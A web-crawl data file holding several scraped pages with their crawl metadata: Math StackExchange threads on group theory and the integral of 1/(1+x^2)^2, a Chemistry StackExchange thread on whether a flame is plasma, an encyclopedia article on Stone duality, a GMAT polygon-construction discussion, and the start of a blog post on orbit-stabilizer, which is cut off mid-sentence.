"warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600400192778.51/warc/CC-MAIN-20200919142021-20200919172021-00730.warc.gz"}
http://math.stackexchange.com/questions/297106/question-about-abelian-group	Please someone can help me in this question? Let G be an abelian group. Prove that every subgroup of G is normal. I am looking for hints so that I can create my own solution. THANK YOU ALL! - Hint: For any $g,h \in G$, $ghg^{-1}=h$.	2016-04-29 10:55:12	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5121111869812012, "perplexity": 97.88715538000321}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-18/segments/1461860111313.83/warc/CC-MAIN-20160428161511-00171-ip-10-239-7-51.ec2.internal.warc.gz"}
https://math.stackexchange.com/questions/1809993/how-to-integrate-int-fracdx1x22	# How to integrate $\int \frac{dx}{(1+x^2)^2}$? I need to integrate this to finish an old STEP problem I'm doing, but I'm stuck here, at the very end: $$\int_0^\infty \frac{dx}{(1+x^2)^2}$$ The result should be $\pi\over 4$ . I don't know how to approach this. Somehow, this question doesn't seem to've been posted here ever (at least I couldn't find it). Also, Wolfram tells me: $$\int \frac{dx}{(1+x^2)^2} = \frac{1}{2}\left(\frac{x}{x^2+1}+\tan^{-1}x\right)+c$$ but I don't see how one can derive this without knowing the result beforehand. Somehow, this question doesn't seem to've been posted here ever (at least I couldn't find it). EDIT: If you're interested, the problem in question is: STEP II - problem 4 (year 2014). • use $\frac 1{(1+x^2)^2 }=\frac 1{1+x^2} - \frac{x^2}{(1+x^2)^2}$ and do an integration by parts $\int \frac{x^2}{(1+x^2)^2} \, dx$ – abel Jun 2 '16 at 18:04 • I tried $x = \sinh(z)$ since $1+x^2 = \cosh^2(x)$ but I got stuck at $$\int \frac{1}{\cosh^3(z)} \, {\rm d}z$$ – ja72 Jun 2 '16 at 18:12 Use $x = \tan t$. Then $(1 + x^2)^2 = \sec^4 t$, and $\dfrac{dx}{dt} = \sec^2 t$, so the integral becomes \begin{align} \int_0^{\pi/2} \cos^2 t \,\mathrm dt = \dfrac 1 2 \times \dfrac {\pi} 2 = \dfrac{\pi}{4}. \end{align*} • Nice. Thanks. It's been a while and I forgot about trig substitions :( – I want to make games Jun 2 '16 at 18:08 For any $\alpha>0$, let: $$I(\alpha)= \int_{0}^{+\infty}\frac{dx}{\alpha^2+x^2} = \frac{\pi}{2\alpha}.$$ By differentiating both sides with respect to $\alpha$ we get: $$\int_{0}^{+\infty}\frac{2\alpha}{(\alpha^2+x^2)^2}\,dx = \frac{\pi}{2\alpha^2}$$ and by evaluating at $\alpha=1$: $$\int_{0}^{+\infty}\frac{dx}{(x^2+1)^2} = \color{red}{\frac{\pi}{4}}.$$ • How do you get these expressions? – ja72 Jun 2 '16 at 18:07 • @ja72: What's obscure? I think my answer is pretty straightforward to follow. The technique is known as differentiation under the integral sign, or "Feynman's trick". – Jack D'Aurizio Jun 2 '16 at 18:08 • I'm sure that's common knowledge, but how (a very general idea would do) do you prove that differentiating an integral is the same as differentiating the thing that's integrated? – I want to make games Jun 2 '16 at 18:09 • @M.Vinay: thanks, I was just writing the same thing :) – Jack D'Aurizio Jun 2 '16 at 18:12 • @ja72: I assure you that my memorization skills are close to being awful (that is the main reason beyond my appraise for modern technology, that allow us to store tons of useful data in portable devices), but when it comes to mathematical practice, many things become natural. Practice makes perfect. – Jack D'Aurizio Jun 2 '16 at 18:20 Use $u=tan x$ $$(1+x^2)^2=(1+tan^2u)^2=(sec^2u)^2=sec^4u$$ $$dx=sec^2u du$$ The integral becomes $$\int{\frac{1}{sec^2u}du=\int{cos^2udu}}$$ • functions need to be upright characters. Use \sin instead of sin. Also the differential needs to be upright. Use {\rm d} instead of d. – ja72 Jun 2 '16 at 18:14 Add and subtract $x^2$ from the numerator, you get $\arctan$ on one hand and an $\int \frac{x^2}{(1 + x^2)^2}dx$, which you can do by parts ($u = x$ and $dv = \frac{x}{(1+x^2)^2}dx$) $$\int_0^\infty\frac{1}{\left(1+x^2\right)^2}\space\text{d}x=\lim_{n\to\infty}\int_0^n\frac{1}{\left(1+x^2\right)^2}\space\text{d}x=$$ Substitute $x=\tan(u)$ and $\text{d}x=\sec^2(u)\space\text{d}u$. So $\left(1+x^2\right)^2=\left(1+\tan^2(u)\right)^2=\sec^4(u)$ and $u=\arctan(x)$. This gives a new lower bound $u=\arctan(0)=0$ and upper bound $u=\arctan(n)$: $$\lim_{n\to\infty}\int_0^{\arctan(n)}\cos^2(u)\space\text{d}u=$$ Use: $$\cos^2(x)=\frac{1+\cos(2u)}{2}$$ $$\frac{1}{2}\lim_{n\to\infty}\left[\int_0^{\arctan(n)}1\space\text{d}u+\int_0^{\arctan(n)}\cos(2u)\space\text{d}u\right]=$$ Substitute $s=2u$ and $\text{d}s=2\space\text{d}u$. This gives a new lower bound $s=2\cdot0=0$ and upper bound $s=2\arctan(n)$: $$\frac{1}{2}\lim_{n\to\infty}\left[\left[u\right]_0^{\arctan(n)}+\frac{1}{2}\int_0^{2\arctan(n)}\cos(s)\space\text{d}s\right]=$$ $$\frac{1}{2}\lim_{n\to\infty}\left[\left[u\right]_0^{\arctan(n)}+\frac{1}{2}\left[\sin(s)\right]_0^{2\arctan(n)}\right]=$$ $$\frac{1}{2}\lim_{n\to\infty}\left[\left(\arctan(n)-0\right)+\frac{\sin(2\arctan(n))-\sin(0)}{2}\right]=$$ $$\frac{1}{2}\lim_{n\to\infty}\left[\arctan(n)+\frac{\sin(2\arctan(n))}{2}\right]=\frac{1}{2}\cdot\frac{\pi}{2}=\frac{\pi}{4}$$ let $I_n=\int_{0}^{\infty}\frac{1}{(1+x^2)^n}dx$ then $$I_{n+1}=\frac{2n-1}{2n}I_n$$ we know $I_1=\int_{0}^{\infty}\frac{1}{1+x^2}dx=\frac{\pi}{2}$, so $$I_2=\frac{2(1)-1}{2(1)}I_1=\frac{\pi}{4}$$ • (+1) I see in you a future star of MSE. – Jack D'Aurizio Jun 2 '16 at 20:54 Here's a pretty solution. Notice that $$I=\int_{0}^{\infty}\frac{1}{(1+x^2)^2}dx=\frac{1}{2}\int_{-\infty}^{\infty}\frac{1}{(1+x^2)^2}dx=\frac{1}{2}\int_{\partial\Omega}\frac{1}{(1-iz)^2(1+iz)^2}dz$$ where $\Omega$ is the top part of the complex plane. Since $f(z)$ decays faster than $\frac{1}{z^2}$, $$I=\pi i \lim_{z \to i}\frac{d}{dz}\frac{(z-i)^2}{(1-iz)^2(1+iz)^2}=\frac{\pi}{4}$$.	2019-06-17 05:11:34	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9595130681991577, "perplexity": 581.3614977347157}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-26/segments/1560627998376.42/warc/CC-MAIN-20190617043021-20190617065021-00083.warc.gz"}
https://chemistry.stackexchange.com/questions/7933/to-which-state-of-matter-does-the-flame-belong-to	# To which state of matter does the flame belong to? I had this question from the day (9 years old, now 16) that I learned about states of matter. I have asked many of my teachers, some of them told me it's a gas some that it's a plasma. Can anyone answer my question? Recently I've learned that the plasma state is obtained when all the electrons from the atom are removed. Obviously it's present in the sun due to high temperatures. • This is cross posted on Physics.SE physics.stackexchange.com/questions/94609/… – user4076 Jan 21 '14 at 10:25 • Yes I did. Because this topic belongs to both physics and chem. And what's wrong with that. – Akshay Nagraj Jan 21 '14 at 10:29 • You could at least point it out in the question, because then the answerer may look at the other answers to see if the question has already been sufficiently answered. – tschoppi Jan 21 '14 at 10:31 • @user37419 Also, a cross posted question should be written to specific suit the audience on the sites it is posted on. Also, you might want to read the faq about cross posting meta.stackexchange.com/questions/64068/… – user4076 Jan 21 '14 at 10:33 A candle flame is the product of the oxidation of wax to $\ce{CO2}$ and other small organic compounds. Since these small compounds are energetically lower, energy is released during the reaction, in the form of light and heat. So really, we start out with gas. However, flames can also conduct electricity, and the conductivity varies with the location in the flame. The linked science fair project summary states that the lowest resistance (highest conductivity) was found at the edge of the bright yellow part of the flame the conductivity was the largest, meaning that the concentration of ions was the highest. The lowest resistance value found was $80~\Omega$, which is still very large in comparison to the resistance of plasma, which is generally considered to be $0$. So, summarizing my answer: A flame is a gas with lightly ionized portions, but does not qualify as a real plasma. • Ok, can you tell me how did you get to know about science fair and all. Is it from web or from newspaper. And also in plasma state the electrons are removed from the atoms right, then where will the go in sun? – Akshay Nagraj Jan 21 '14 at 10:34 • I googled "flame conductivity" and skimmed for something useful. The fouth entry did it for me. In a plasma, not all electrons are removed from the atoms. As to solar reactions, that would make a good additional question: "Where do the electrons from the solar plasma go to?" Feel free to open a new question about that ;) – tschoppi Jan 21 '14 at 10:38 • Why don't you answer it here itself? – Akshay Nagraj Jan 21 '14 at 10:41 • Because the sun has almost nothing to do with a candle flame, and because the question you asked really only referred to a flame. Also: One question per question ;-) It keeps things clearer. – tschoppi Jan 21 '14 at 10:44 • While a candle flame is not a plasma, it is a fairly low energy, low temperature flame. In really hot flames, would you classify the state as more like a plasma than a gas? – matt_black Jan 21 '14 at 15:40 A gaseous flame is hot gas seeded with free radicals and ionized species, a dilute plasma. Note that solid flames exist. Mix finely divided nickel and aluminum, tantalum and graphite, etc., compress into a compacted body, and heat an edge very hot until things start. A white hot interface propagates through the body as the components react. I would hesitate to call that a condensed phase plasma.	2020-02-24 07:00:48	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42863908410072327, "perplexity": 884.1615621610827}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875145897.19/warc/CC-MAIN-20200224040929-20200224070929-00323.warc.gz"}
https://math.stackexchange.com/questions/717009/compute-s-3-acting-by-conjugation-on-the-set-x-of-6-subgroups-of-s-3	# Compute $S_3$ acting by conjugation on the set $X$ of $6$ subgroups of $S_3$ I know that the subgroups of $S_3$ are $\{e\}$, $\langle(12)\rangle$, $\langle(13)\rangle$, $\langle(23)\rangle$, $A_3$, and $S_3$. What I also know is that conjugation is $C_g(H) = gHg^{-1}$. Thus in order to compute $S_3$ acting by conjugation on $X$ would I do this just by taking one of the subgroups and then setting $g$ equal to one of the other subsets? If you want to find the orbits of this action, then you take an element $H$ of $X$ (that is, some subgroup of $S_3$) and then compute $gHg^{-1}$ for every $g\in S_3$. Next, take another $H\in X$, one that is not in the orbit you just found, and do the same.	2019-12-06 23:57:06	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9545695185661316, "perplexity": 37.55866167206411}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540491491.18/warc/CC-MAIN-20191206222837-20191207010837-00238.warc.gz"}
https://tantalum.academickids.com/encyclopedia/index.php/Stone_duality	# Stone duality In mathematics, especially in topology and order theory, there is an ample supply of categorical dualities between certain categories of topological spaces and categories of partially ordered sets. Today, these dualities are usually collected under the label Stone duality, since they form a natural generalization of Stone's representation theorem for Boolean algebras. These concepts are named in honor of Marshall Stone. Stone-type dualities also provide the foundation for pointless topology and are exploited in theoretical computer science for the study of formal semantics. This article gives pointers to special cases of Stone duality and explains a very general instance thereof in detail. Contents ## Overview of Stone-type dualities Probably the most general duality which is classically referred to as "Stone duality" is the duality between the category Sob of sober spaces with continuous functions and the category SFrm of spatial frames with appropriate frame homomorphisms. The dual category of SFrm is the category of locales denoted by SLoc. The categorical equivalence of Sob and SLoc is the basis for the mathematical area of pointless topology, that is devoted to the study of Loc - the category of all locales of which SLoc is a full subcategory. The involved constructions are characteristic for this kind of dualities and are therefore detailed below. Now one can easily obtain a number of other dualities by restricting to certain special classes of sober spaces: Many other Stone-type dualities could be added to these basic dualities. ## Duality of sober spaces and spatial locales This section motivates and explains one of the most basic constructions of Stone duality: the duality between topological spaces which are sober and frames (i.e. complete Heyting algebras) which are spatial. This classical piece of mathematics requires a substantial amount of abstraction that usually tends to puzzle beginners. It should therefore be considered as graduate level mathematics. Some prior exposure to the basics of category theory is recommended, although a deep understanding of the concepts of adjunction and duality may well arise from examples such as the result below. Furthermore, concepts of topology and order theory are naturally involved as well, where the later is probably more important for a thorough understanding. ### The lattice of open sets The starting point for the theory is the fact that every topological space is characterized by a set of points X and a system Ω(X) of open sets of elements from X, i.e. a subset of the powerset of X. It is known that Ω(X) has certain special properties: it is a complete lattice within which suprema and infima of finite sets are given by set unions and finite set intersections, respectively. Furthermore, it contains both X and the empty set. Since the embedding of Ω(X) into the powerset lattice of X preserves finite infima and arbitrary suprema, Ω(X) inherits the following distributivity law: [itex]x \wedge \bigvee S = \bigvee \{\, x \wedge s : s \in S \,\}, [itex] for every element (open set) x and every subset S of Ω(X). Hence Ω(X) is not an arbitrary complete lattice but a complete Heyting algebra (also called frame or locale - the various names are primarily used to distinguish several categories that have the same class of objects but different morphisms: frame morphisms, locale morphisms and homomorphisms of complete Heyting algebras). Now an obvious question is: To what extent is a topological space characterized by its locale of open sets? As already hinted at above, one can go even further. The category Top of topological spaces has as morphisms the continuous functions, where a function f is continuous if the inverse image f −1(O) of any open set in the codomain of f is open in the domain of f. Thus any continuous function f from a space X to a space Y defines an inverse mapping f −1 from Ω(Y) to Ω(X). Furthermore, it is easy to check that f −1 (like any inverse image map) preserves finite intersections and arbitrary unions and therefore is a morphism of frames. If we define Ω(f) = f −1 then Ω becomes a contravariant functor from the category Top to the category Frm of frames and frame morphisms. Using the tools of category theory, the task of finding a characterization of topological spaces in terms of their open set lattices is equivalent to finding a functor from Frm to Top which is adjoint to Ω. ### Points of a locale The goal of this section is to define a functor pt from Frm to Top that in a certain sense "inverts" the operation of Ω by assigning to each locale L a set of points pt(L) (hence the notation pt) with a suitable topology. But how can we recover the set of points just from the locale, though it is not given as a lattice of sets? It is certain that one cannot expect in general that pt can reproduce all of the original elements of a topological space just from its lattice of open sets - for example all sets with the indiscrete topology yield (up to isomorphism) the same locale, such that the information on the specific set is no longer present. However, there is still a reasonable technique for obtaining "points" from a locale, which indeed gives an example of a central construction for Stone-type duality theorems. Let us first look at the points of a topological space X. One is usually tempted to consider a point of X as an element x of the set X, but there is in fact a more useful description for our current investigation. Any point x gives rise to a continuous function px from the one element topological space 1 (all subsets of which are open) to the space X by defining px(1) = x. Conversely, any function from 1 to X clearly determines one point: the element that it "points" to. Therefore the set of points of a topological space is equivalently characterized as the set of functions from 1 to X. When using the functor Ω to pass from Top to Frm, all set-theoretic elements of a space are lost, but - using a fundamental idea of category theory - one can as well work on the function spaces. Indeed, any "point" px: 1 → X in Top is mapped to a morphism Ω(px): Ω(X) → Ω(1). The open set lattice of the one-element topological space Ω(1) is just (isomorphic to) the two-element locale 2 = { 0, 1 } with 0 < 1. After these observations it appears reasonable to define the set of points of a locale L to be the set of frame morphisms from L to 2. Yet, there is no guarantee that every point of the locale Ω(X) is in one-to-one correspondence to a point of the topological space X (consider again the indiscrete topology, for which the open set lattice has only one "point"). Before defining the required topology on pt(X), it is worthwhile to clarify the concept of a point of a locale further. The perspective motivated above suggests to consider a point of a locale L as a frame morphism p from L to 2. But these morphisms are characterized equivalently by the inverse images of the two elements of 2. From the properties of frame morphisms, one can derive that p −1(0) is a lower set (since p is monotone), which contains a greatest element ap = V p −1(0) (since p preserves arbitrary suprema). In addition, the principal ideal p −1(0) is a prime ideal since p preserves finite infima and thus the principal ap is a meet-prime element. Now the set-inverse of p −1(0) given by p −1(1) is a completely prime filter because p −1(0) is a principal prime ideal. It turns out that all of these descriptions uniquely determine the initial frame morphism. We sum up: A point of a locale L is equivalently described as: • a frame morphism from L to 2 • a principal prime ideal of L • a meet-prime element of L • a completely prime filter of L. All of these descriptions have their place within the theory and it is convenient to switch between them as needed. ### The functor pt Now that a set of points is available for any locale, it remains to equip this set with an appropriate topology in order to define the object part of the functor pt. This is done by defining the open sets of pt(L) as φ(a) = { p in pt(L) \| p(a) = 1 }, for every element a of L. Here we viewed the points of L as morphisms, but one can of course state a similar definition for all of the other equivalent characterizations. It can be shown that setting Ω(pt(L)) = {φ(a) \| a in L} does really yield a topological space (pt(L), Ω(pt(L))). It is common to abbreviate this space as pt(L). Finally pt can be defined on morphisms of Frm rather canonically by defining, for a frame morphism g from L to M, pt(g): pt(M) → pt(L) as pt(g)(p) = p o g. In words, we obtain a morphism from L to 2 (a point of L) by applying the morphism g to get from L to M before applying the morphism p that maps from M to 2. Again, this can be formalized using the other descriptions of points of a locale as well - for example just calculate (p o g) −1(0). ### The adjunction of Top and Loc As noted several times before, pt and Ω usually are not inverses. In general neither is X homeomorphic to pt(Ω(X)) nor is L order-isomorphic to Ω(pt(L)). However, when introducing the topology of pt(L) above, a mapping φ(a) from L to Ω(pt(L)) was applied. This mapping is indeed a frame morphism. Conversely, we can define a continuous function ψ from X to pt(Ω(X)) by setting ψ(x) = Ω(px), where px is just the characteristic function for the point x from 1 to X as described above. Another convenient description is given by viewing points of a locale as meet-prime elements. In this case we have ψ(x) = X \ Cl{x}, where Cl{x} denotes the topological closure of the set {x} and \ is just set-difference. At this point we got already more than enough data to obtain the desired result: the functors Ω and pt define an adjunction between the categories Top and Loc = Frmop, where pt is right adjoint to Ω and the natural transformations ψ and φop provide the required unit and counit, respectively. ### The duality theorem The above adjunction is usually not an equivalence of the categories Top and Loc (or, equivalently, a duality of Top and Frm). For this it is necessary that both ψ and φ are isomorphisms in their respective categories. For a space X, ψ: X → pt(Ω(X)) is a homeomorphism iff it is bijective. Using the characterization via meet-prime elements of the open set lattice, one sees that this is the case iff every meet-prime open set is of the form X \ Cl{x} for a unique x. Alternatively, every join-prime closed set is the closure of a unique point, where "join-prime" can be replaced by (join-) irreducible since we are in a distributive lattice. Spaces with this property are called sober. Conversely, for a locale L, φ: L → Ω(pt(L)) is always surjective. It is additionally injective iff any two elements a and b of L for which a is not less-or-equal to b can be separated by points of the locale, formally: if not ab, then there is a point p in pt(L) such that p(a) = 1 and p(b) = 0. If this condition is satisfied for all elements of the locale, then the locale is spatial, or said to have enough points. Finally, one can verify that for every space X, Ω(X) is spatial and for every locale L, pt(L) is sober. Hence, it follows that the above adjunction of Top and Loc restricts to an equivalence of the full subcategories Sob of sober spaces and SLoc of spacial locales. This main result is completed by the observation that for the functor pt o Ω, sending each space to the points of its open set lattice is right adjoint to the inclusion functor from Sob to Top. For a space X, pt(Ω(X)) is called its soberification. The case of the functor Ω o pt is symmetric but a special name for this operation is not commonly used. ## Literature • P. T. Johnstone, Stone Spaces, Cambridge Studies in Advanced Mathematics 3, Cambridge University Press, Cambridge, 1982. (ISBN 0521238935) • Art and Cultures • Countries of the World (http://www.academickids.com/encyclopedia/index.php/Countries) • Space and Astronomy	2021-06-21 01:29:52	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9105428457260132, "perplexity": 541.730196500247}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488259200.84/warc/CC-MAIN-20210620235118-20210621025118-00246.warc.gz"}
https://gmatclub.com/forum/a-regular-polygon-can-be-constructed-with-a-compass-and-stra-149085.html	GMAT Question of the Day - Daily to your Mailbox; hard ones only It is currently 18 Oct 2018, 02:49 ### GMAT Club Daily Prep #### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email. Customized for You we will pick new questions that match your level based on your Timer History Track every week, we’ll send you an estimated GMAT score based on your performance Practice Pays we will pick new questions that match your level based on your Timer History # A regular polygon can be constructed with a compass and stra Author Message TAGS: ### Hide Tags Manager Joined: 09 Feb 2013 Posts: 118 A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 12 Mar 2013, 08:35 2 4 00:00 Difficulty: 55% (hard) Question Stats: 67% (02:07) correct 33% (01:48) wrong based on 188 sessions ### HideShow timer Statistics A regular polygon can be constructed with a compass and straightedge if its number of sides is either any power of 2, any product of the five distinct primes 3, 5, 17, 257, and 65537, or the product of any power of 2 and any of the five distinct primes. Which of the following regular polygons is NOT constructable with a compass and straightedge? A. A 15-sided regular polygon B. An 18-sided regular polygon C. A 48-sided regular polygon D. A 51-sided regular polygon E. A 60-sided regular polygon _________________ Kudos will encourage many others, like me. Good Questions also deserve few KUDOS. Manager Joined: 24 Jan 2013 Posts: 72 Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 13 Mar 2013, 09:05 3 a) 15: the product of the distinct prime numbers 3 and 5 (i.e. 3x5) b) 18 c) 48: the product of the 4th power of 2, and the prime number 3 (i.e. 16x3) d) 51: the product of the distinct prime numbers 3 and 17 (i.e. 3x17) e) 60: the product of the 2nd power of 2, and the distinct prime numbers 5 and 3 (i.e. 4x5x3) By the way, decomposing 18 gives: 2x3x3 ----> prime number 3 is repeated, so this does not satisfy the conditions to build a regular polygon with a compass and straightedge. Director Status: Everyone is a leader. Just stop listening to others. Joined: 22 Mar 2013 Posts: 796 Location: India GPA: 3.51 WE: Information Technology (Computer Software) Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 01 Apr 2014, 02:09 I think following wording is ambiguous : "the product of any power of 2 and any of the five distinct primes" 1st interpretation : $$2^n * any-of-the-prime-from-set[ 3, 5, 17, 257, 65537 ]$$ Option E (A 60-sided regular polygon) does not qualifies for above interpretation. 60= 2^n * {3 or 5} 2nd interpretation : $$2^n * any-product-of-the-prime-from-set[ 3, 5, 17, 257, 65537 ]$$ Option E (A 60-sided regular polygon) qualifies for above interpretation. 60= 2^n * {3 and 5} _________________ Piyush K ----------------------- Our greatest weakness lies in giving up. The most certain way to succeed is to try just one more time. ― Thomas A. Edison Don't forget to press--> Kudos My Articles: 1. WOULD: when to use? \| 2. All GMATPrep RCs (New) Tip: Before exam a week earlier don't forget to exhaust all gmatprep problems specially for "sentence correction". Intern Status: Pursuit of happyness Joined: 07 Nov 2012 Posts: 25 Location: India GMAT Date: 04-24-2013 WE: General Management (Energy and Utilities) Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 26 Jul 2014, 23:02 yes the wordings in the question is ambiguous ....esp coz of option E Director Joined: 20 Feb 2015 Posts: 793 Concentration: Strategy, General Management Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 06 Jun 2016, 22:06 18 = 233 an additional 3 , therefore B Veritas Prep GMAT Instructor Joined: 16 Oct 2010 Posts: 8389 Location: Pune, India Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 06 Jun 2016, 22:48 sivaspurthy wrote: yes the wordings in the question is ambiguous ....esp coz of option E "any" means "one or more" So when we say "the product of any power of 2 and any of the five distinct primes," it means one or more of the 5 distinct primes could be taken. _________________ Karishma Veritas Prep GMAT Instructor GMAT self-study has never been more personalized or more fun. Try ORION Free! Non-Human User Joined: 09 Sep 2013 Posts: 8446 Re: A regular polygon can be constructed with a compass and stra [#permalink] ### Show Tags 28 Oct 2017, 07:36 Hello from the GMAT Club BumpBot! Thanks to another GMAT Club member, I have just discovered this valuable topic, yet it had no discussion for over a year. I am now bumping it up - doing my job. I think you may find it valuable (esp those replies with Kudos). Want to see all other topics I dig out? Follow me (click follow button on profile). You will receive a summary of all topics I bump in your profile area as well as via email. _________________ Re: A regular polygon can be constructed with a compass and stra &nbs [#permalink] 28 Oct 2017, 07:36 Display posts from previous: Sort by	2018-10-18 09:49:37	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.785836935043335, "perplexity": 4142.053175739076}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583511761.78/warc/CC-MAIN-20181018084742-20181018110242-00160.warc.gz"}
https://nivent.github.io/blog/orbit-stab-rep/	# Orbit-Stabilizer for Finite Group Representations One of my professors covered the main result of this post during a class that I missed awhile ago. Using some notes from a friend who attended that class, I want to try to reconstruct the theorem 1. Experience with representation theory will be useful for this post, but I’ll try to cover enough of the basics so that previous exposure isn’t strictly required. # Orbit-Stabalizer We will begin by continuing our discussion of group actions from last post. Recall the definition Let $G$ be a group and let $X$ be a set. A (left) group action of $G$ on $X$ is a map $\phi:G\times X\rightarrow X$ satisfying • $1\cdot x=x$ for all $x\in X$ where $1\in G$ is the identity • $g\cdot(h\cdot x)=(gh)\cdot x$ for all $x\in X$ and $g,h\in G$ where $g\cdot x$ denotes $\phi(g,x)$. We sometimes write $G\curvearrowright X$ to denote that $G$ acts on $X$. If $X$ has additional structure (e.g. if $X$ is a vector space), then we require our group action to respect $X$’s structure. In general, a group action $G\curvearrowright X$ is a map $G\rightarrow\Aut(X)$ where the automorphisms of $X$ depend on the context 2. Now, in order to (state and) prove Orbit-Stabalizer, we’ll need to know what those words mean. Let $G$ be a group acting on a set $X$. Given some $x\in X$, its orbit is $$G\cdot x=\{g\cdot x\mid g\in G\}$$ Furthermore, its stabalizer is $$\Stab(x)=G_x=\{g\in G\mid g\cdot x=x\}$$ Note that the stabalizer of $x\in X$ is a subgroup of $G$ since $g,h\in G_x\implies(g\inv h)\cdot x=g\cdot x=x$. Furthermore, if $G\cdot x=X$ for some $x\in X$, then we say $G$ acts transitively on $X$. Finally, if $G\curvearrowright X$, then we call $X$ a $G$-set. Naturally, these spaces have their own notion of homomorphisms. Let $X,Y$ be two $G$-sets. A 